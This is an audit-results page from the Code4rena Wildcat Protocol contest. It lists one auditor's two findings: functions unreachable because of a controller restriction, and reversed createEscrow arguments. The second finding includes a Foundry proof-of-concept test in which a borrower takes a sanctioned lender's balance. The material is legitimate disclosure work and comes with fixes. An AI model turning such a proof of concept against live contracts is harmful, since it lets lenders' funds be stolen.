The Wildcat Protocol - tallo's results

Banking, but worse - a protocol for fixed-rate, undercollateralised credit facilities.

General Information

Platform: Code4rena

Start Date: 16/10/2023

Pot Size: $60,500 USDC

Total HM: 16

Participants: 131

Period: 10 days

Judge: 0xTheC0der

Total Solo HM: 3

Id: 296

League: ETH

Wildcat Protocol

Findings Distribution

Researcher Performance

Rank: 96/131

Findings: 2

Award: $6.79

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L142 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L134

Vulnerability details

Impact

Certain market functionality such as closing and changing the max total supply are not accessible

Vulnerability Explanation

WildcatMarket#closeMarket has the onlyController modifier which only allows the controller contract to make this call.

function closeMarket() external onlyController nonReentrant {//...}

However, there doesn't exist any function inside the WildcatMarketController that calls the closeMarket function, therefore it isn't callable.

The same is true with WildcatMarketConfig#setMaxTotalSupply

  function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyController nonReentrant {//..}

Tools Used

VIM grep

Add functionality inside WildcatMarketController that calls closeMarket and setMaxTotalSupply

Assessed type

Other

#0 - c4-pre-sort

2023-10-27T06:57:44Z

minhquanym marked the issue as primary issue

#1 - c4-pre-sort

2023-10-27T06:58:45Z

minhquanym marked the issue as sufficient quality report

#2 - laurenceday

2023-10-31T22:25:52Z

Valid finding, solid work here everyone!

Our tests prank the controller for these invocations, and we are collectively as dumb as a bag of rocks so we didn't notice this!

#3 - c4-sponsor

2023-10-31T22:26:03Z

laurenceday (sponsor) confirmed

#4 - c4-judge

2023-11-07T13:48:36Z

MarioPoneder marked the issue as satisfactory

#5 - c4-judge

2023-11-07T14:14:06Z

MarioPoneder marked issue #431 as primary and marked this issue as a duplicate of 431

#6 - c4-judge

2023-11-07T14:16:53Z

MarioPoneder changed the severity to 3 (High Risk)

Awards

6.6715 USDC - $6.67

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-68

External Links

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L172

Vulnerability details

Impact

The borrower is able to steal the lenders balance

Vulnerability Explanation

When the createEscrow function is called in executeWithdrawal and WildcatMarketBase the parameters borrower and account are passed in reverse order.

  //WildcatMarketBase.sol
  function _blockAccount(MarketState memory state, address accountAddress) internal {
    Account memory account = _accounts[accountAddress];

    //..
      
    if (scaledBalance > 0) {
        account.scaledBalance = 0;
        //@audit here the parameters are passed in reverse order
        //should be createEscrow(borrower, accountAddress, address(this) instead
        address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
          accountAddress, //should be borrower
          borrower, //shoulder be accountAddress
          address(this)
        );

    //..
  }

//WildcatSanctionsSentinel.sol
function createEscrow(
    address borrower, //account is passed in instead
    address account, //borrower is passed in instead
    address asset 
  ) public override returns (address escrowContract) {//..}

Proof of Concept

Place the following PoC for a sanctioned lender inside market/WildcatMarketConfig.t.sol This is a PoC for a borrower stealing a sanctioned lenders funds

  function test_nukeFromOrbitBug() external {
    _deposit(alice, 1e18);

    address escrow = sanctionsSentinel.getEscrowAddress(alice, borrower, address(market));

    console.log("Sanctioning the lender...");
    sanctionsSentinel.sanction(alice);
    console.log("\nBalance of borrower before: %s ETH", market.balanceOf(borrower)/1e18);
    console.log("Balance of lender before:   %s ETH\n", market.balanceOf(alice)/1e18);

    console.log("Nuking lender...");
    market.nukeFromOrbit(alice);

    vm.startPrank(alice);
    console.log("is lender sanctioned: %s\n", uint(market.getAccountRole(alice)) == uint(AuthRole.Blocked));

    console.log("releasing escrow...");
    WildcatSanctionsEscrow(escrow).releaseEscrow();
    console.log("\nBalance of borrower after: %s ETH", market.balanceOf(borrower)/1e18);
    console.log("Balance of lender after:   %s ETH\n", market.balanceOf(alice)/1e18);

    console.log("Even though the sanctions weren't even lifted, the borrower was able to make off with the lenders balance.");
    console.log("The correct intention should be that when the lender is sanctioned, his collateral is escrowed and later returned when removed from sanctions.");
    console.log("What actually happens is that when the lender gets sanctioned, his collateral is escrowed and the borrower can take the collateral");
    console.log("If the lender is removed from the sanction, his collateral is not returned since it was already sent to the borrower. Leading to a loss of funds");


    vm.stopPrank();
  }

Output:

Sanctioning the lender... Balance of borrower before: 0 ETH Balance of lender before: 1 ETH Nuking lender... is lender sanctioned: true releasing escrow... Balance of borrower after: 1 ETH Balance of lender after: 0 ETH Even though the sanctions weren't even lifted, the borrower was able to make off with the lenders balance. The correct intention should be that when the lender is sanctioned, his collateral is escrowed and later returned when removed from sanctions. What actually happens is that when the lender gets sanctioned, his collateral is escrowed and the borrower can take the collateral If the lender is removed from the sanction, his collateral is not returned since it was already sent to the borrower. Leading to a loss of funds

Tools Used

VIM

Correct the order that parameters are passed when calling createEscrow

Assessed type

Other

#0 - c4-pre-sort

2023-10-27T02:33:57Z

minhquanym marked the issue as duplicate of #515

#1 - c4-judge

2023-11-07T12:06:10Z

MarioPoneder marked the issue as partial-50

#2 - c4-judge

2023-11-07T12:06:16Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter